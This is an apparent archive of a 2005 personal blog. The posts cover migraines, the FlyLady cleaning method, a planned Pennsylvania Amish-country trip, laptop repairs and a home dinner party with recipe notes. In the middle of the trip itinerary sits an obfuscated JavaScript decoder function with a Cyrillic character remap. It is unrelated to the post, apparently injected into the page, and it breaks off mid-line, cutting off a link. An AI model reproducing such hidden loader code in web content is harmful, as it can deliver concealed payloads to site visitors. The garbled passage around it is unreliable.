spectating participant

August 22, 2005


Filed under: life — suzanne henderson @ 3:43 am

I often wake up in the middle of the night, several times in fact, about every couple hours. Around midnight I noticed the beginnings of a headache but drifted back to sleep. Then when I woke again at two, the headache had increased greatly. I sure hate that headaches can do this while I am sleeping, shouldn’t they also be in slumber mode? But, I got up, took some excedrin, since I couldn’t find any motrin, and half a normally-useful dose of [imitrex]. I tried to get back to sleep, but the pain was pretty bad and my shoulder instantly cramped up, sending sparks of pain everywhere. I tried grabbing an ice pack, which is often helpful for my headaches (it does nothing for the shoulders–heat might have), but no luck. I find that hiding under the pillows with an ice pack often helps during the day. But since the darkness was already too bright, I couldn’t really shut it out any further. Then the meds started kicking in and fussing about being on an empty stomach so up to the kitchen for crackers.

So, crackers have helped. I got a couple drawers in the kitchen organized and now sitting in my room considering bed. Of course, I feel that laying down will just return some issues and suddenly I’m toasting hot and my throat feels sore and swollen. Sigh, maybe I’m actually getting sick, or maybe my body just doesn’t care for taking these drugs in the middle of the night. Oh well, I’m up for a little while longer, but should get to bed soon before that alarm goes off at 5:59.

August 17, 2005

fly baby, fly

Filed under: flylady, family, life — suzanne henderson @ 10:55 am

Summer is drawing to a close, the routines of school and life will replace the long mornings and empty afternoons. And, in preparation, I’m getting back to the [flylady] routines. I’ve talked about this before, but it has been a while.

FlyLady.net is a wonderful resource for people who are not naturally organized, who want to keep their house and life in a more reasonable order, and those whose life is a complete mess with no hope in sight. It is a really simple concept and it all starts with a shining sink. In her book, [Sink Reflections], FlyLady talks about how people think that a shining kitchen sink isn’t that great of a motivational tool, but she assures you and I assure you, it is. I spent last night re-shinning the sink, it had lots its glow and luster months ago even though it still stayed fairly neat. But once I finally had it shining, I hated to even run the water for it would obscure the glow and possibly wipe out all the work I had done.

But worries over a little water are nothing. The biggest benefit is that since the sink was so clean, I didn’t want to put anything in it (something I rarelyy do anyways) nor did I want to leave the dirty dishes piled up next to it. They had to go right into the dishwasher as to not disturb my accomplishment.

Now, the FlyLady method is about more than a shining sink, but it is all designed for taking little steps at a time, no mad rush to clean your house or organize your life. She makes it clear that the mess built up over time and it’ll take time to get rid of it. So, if you want to change your habits, but feel overwhelmed at tackling an out of control house, this is certainly the way to start. My small steps include a daily routine that keeps the sink clean, dishwasher emptied regularly, kitchen counters clean, and the bathroom counters and commode looking presentable (not sparkling clean, just presentable until I get around to giving it a good scrubbing).

And, the other great part is that when you do want to do a little more thorough cleaning, she emphasizes the use of a timer to help motivate and prevent burn out. The motto is that you can do anything in 15 minutes and it is so true. Cleaning my room that has become so overwhelming disorganized and messy is an impossible task. But I hit it with 15 minute bursts 2 or 3 times a day and it is slowly starting to come together.

Okay, I guess I’m done preaching about the virtues of her method. Plus, I think I’ll set the timer and get something else done (I also set timers on internet time so I don’t fall into my laptop and lose hours of the day).

August 13, 2005

vacation’s begining

Filed under: life — suzanne henderson @ 5:44 am

So, I made it up to York with little trouble. Yes, it is really hot and no, I did not find air conditioning, but I made it up here anyways. I’m really excited about this trip now. I haven’t really taken a vacation in a while and I usually use [Burning Man] as a vacation excuse, but anyone who has ever gone realizes that is more of a chore than a vacation. In fact, a week of vacation seems appropriate post-burning man. But, anyways, back to the Pennsylvania adventure.

I had made a good plan of action with the assumption that Chris would be getting out if his obligations early enough to join me on Sunday. However, it looks like he is going to be tied up until 5pm tomorrow, putting him out of the game for the majority of Sunday activities. So now, I have to rework the plan so that I can make the best use of my time.

Saturday, August 13, 2005’s agenda (in no particular order):

Aaron & Jessica’s Buggy Ride: a half hour buggy ride through Amish country, including actual Amish farms. I’m hoping to get in on the extended ride option that is listed on their website, but I guess it will depend on demand since I’ll prolly be lumped in with other rides.

function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandhouse.com/”>The Amish Farm and House: another glimpse into actual, functioning Amish life. This one looks somewhat promising and far more interesting than the various tours that show Amish house replica’s or, even worse, animated figures (gak!).

Twin Brook Winery: just your average winery tour, tasting, and buying.

Intercourse Canning Company: who can resist a visit to Intercourse, PA? This is just one of the shops I will be visiting there.

Nissley Winery: yes, another winery. But, I hope to plan it out so that I am actually camped out on a blanket for the evening concert, enjoying a picnic lunch from the bakery/deli shops I visit earlier that day. And, what the heck, perhaps a bottle of wine too. Hmmm… but what to do about the glasses.

Sunday, August 14, 2005:

Potosi Sheep Farm - on the way home, if they are open, to pick up some lamb meet.

plus more as I stumble around and find interesting things…

August 12, 2005

laptop is home and going right back

Filed under: life, geek — suzanne henderson @ 11:00 pm

Aww, look another new hard drive and a still broken laptop. Well, they did replace my screen housing which has been damaged for quite a while. That also meant a whole new top case too, so it looks like a brand new computer lacking the scratches of my old top case. But, they didn’t fix the problem and I’m sending it right back along with sending a letter of complaint to apple. Cause, really, 3 support submissions and it is still broken.

I’m thinking about going up to Pennsylvania today. There is some Dutch country stuff that looks like it’d be interesting and it would be a nice quite solo vacation that I just might enjoy. But, it is going to be in the mid to upper 90s today, so I might decide to only go if I can find air conditioning, which is unlikely but still possible.

August 11, 2005

days slow passing…

Filed under: life — suzanne henderson @ 2:38 pm

Time is moving slowly and I am not motivated to do the things that need done. Everything on my list would only take an hour if I were to work at it, but that still seems like too much work. I got a new harddrive installed in Alex’s computer this morning. It works again but it is still making an awful noise. I figure i’ll have Megan listen to it and see if she thinks it is the power supply gone wacky. Then I’ll just switch out the power supply and hopefully have a computer that is working a bit better. Who knows, maybe I should go with my assesment and change it out anyways.

Last night I made an apple pie and took pictures. But, no laptop means no picture posting. Maybe I’ll talk about it more when it gets back. Well, time to try and force some productivity out of myself. Hmm, just what am I going to do when Chris is out of town; the days are long enough now that it is nice to have that evening distraction. I’ve toyed with the idea of heading up to York with him, but I just can’t imagine York being all that facinating. And, I’d look stuff up about it except that most of the computers inm this house are too slow.

August 9, 2005


Filed under: life — suzanne henderson @ 9:36 am

I was reading an article in a magazine about how to take a vacation without leaving the house. Alex leaves this afternoon for a 2 week trip to Oklahoma, so maybe I’ll give some of these ideas a try. I’ll pretend that I am also on vacation. There is a trip to Assateague Island this weekend, which seems like perfect vacation fodder, but I think that I just might skip out on it. Chris is going to be out of town, Alex will be out of town, sounds like a pefect opportunity to get some good alone time in. Who knows.

August 7, 2005

weekend stumble

Filed under: life — suzanne henderson @ 1:07 pm

I really feel like I am walking in a cloud this weekend. I want to pretend that it has nothing to do with not having my laptop, but I can’t. While I don’t spend all day using it, I like knowing that it is there in case I want to look something up real quick or take a 15 minute break from whatever I am doing. But, with it being gone, i feel like I’m stumbling around without knowing what to do. I have more focus when I have it, mostly because I will look at the calendar and see what I have to do today, most of the time there is nothing listed, and then I have the time to think about the things I want to get done today. Without those moments sitting by the screen, I feel like I can’t collect my thoughts enough to figure out anything out.

however, I don’t think that everything is related to the laptop (mai). I’m also in a bit of a slump, I suppose. Having a hard time concentrating on things and a harder time feeling up to tackling even the simplest project. Yet, when I am not working on a project, I feel lost and bored and in need of one. So, sort of a catch 22 that I’ve gotten myself into.

We went out to dinner last night, something I’ll write more about once I get the name of the place from Chris. It was quite unspectacular and somewhat dissapointing. people should just accept that american food sucks and places that specialize in american food are really places that have no talent for cooking and are just cashing in on the indiscriminate americans that have very little sense of taste.

Today, there is a birthday party for the other Alex here at the house. I’m not feeling all that festive, which is quite the pattern lately. Chris worries about me not wanting to be social when people come over. I think it is far more the people than my lack of socialness. Rob came over for dinner the other day and that was quite nice and I was excited about it happening. I’m sure if the crowd had some variety, I’d be a little more sociable. Or, if I didn’t feel like this house is the default dumping ground just because someone else doesn’t feel like having company in their house. And then, of course, the fact that people tend to leave a mess (from varying degrees of disorganization to dirty dishes cluttering all the counter tops) and I’m often the one that gets around to cleaning it up since I care more about a clean kitchen than anyone else does.

Maybe I’m a bit cranky and depressed or just plain bitter right now. I’m not sure, but I guess I’ll go upstairs and pretend to be cheerful and try to have a good time. or, at least get something to eat!

August 4, 2005

whoa nelly, back up now.

Filed under: life, geek — suzanne henderson @ 8:42 pm

I’m backing everything up on my laptop and planning on driving it to the apple store tomorrow and finally address the annoying sound board issue. this will be the third time that I will have it in the shop for this problem, so hopefully we’ll actually get somewhere this time. hopefully it’ll perform on demand for them or something. cause really, 3 times in for the same problem warrants something needs fixed. however, the solution is not a replaced harddrive, hopefully they won’t try that again. but, just in case, i’m backing everything up tonight.

i sure hate parting with my laptop for any period of time, hopefully it’ll pass quickly.

dinner party

Filed under: cooking, food — suzanne henderson @ 11:53 am

first: my camera batteries died just as I went to take pictures. since we’d already waited a bit too long before sitting down to eat the pasta, I just gave up on visual documentation.

Last nights menu: Caesar Salad, Fettucini Alfredo, Chicken with 40 Cloves, French Bread, and Elephant Ears and Creme de Luche ice cream.

The Caesar salad was simple enough, making the dressing with lemon juice, worcestershire sauce, salt, pepper, garlic, anchovies, and olive oil. It made a very thin sauce and I wasn’t too pleased with that. I think I should stir some of the parmesan cheese into it next time to thicken it up, perhaps. But overall, it was good and simple tasting.

The Fettucini Alfredo came from the latest [Cook’s Illustrated] magazine and was far simpler than I imagined it to be. This dish is often the cause for me to go out and eat, wanting something I felt I couldn’t make at home. It came together quickly and easily, but I wish the writers would be a little more liberal with their numbered steps instead of cramming so many things into one. It made it hard to follow the quick paced ending when I had to keep searching through same paragraph to figure out where I left out. I guess learning to memorize a recipe would be a better solution, but I end up double guessing myself too often. But, as for the dish, it was acceptable, far better than I’ve had at many places. Yet, still too thin for my taste and too sweet. I like heavy, creamy sauce and I think i can tweak this recipe make it the way that I like, as long as I leave out the nutmeg.

The Chicken with 40 Cloves didn’t follow one recipe, i pieced a few together to fit what I felt it should be. It was quite good and I made way too much chicken. The garlic cloves needed to be a bit fresher. I think some were beginning to green on the inside and left the cloves a little tart/bitter when spread on bread. Still, quite good and the best part of the meal.

The Elephant Ears are not what I typically call elephant eats. There were flakey sugary cookies that went perfectly with the ice cream. Super simple to make; throw down 1/2 cup sugar, lay on a sheet of puff pastry, cover it with another 1/2 cup sugar, and roll it out to a 12-inch square. Then fold it up to make it the shape that will bake into curly looking hearts. Make slices and bake until the sugar caramelizes and they’re browned. I’ve seen these cookies at chinese buffets, so I’m not sure why the author of the recipe called them Elephant Ears, other than they could look like them in tiny elephant ears, perhaps.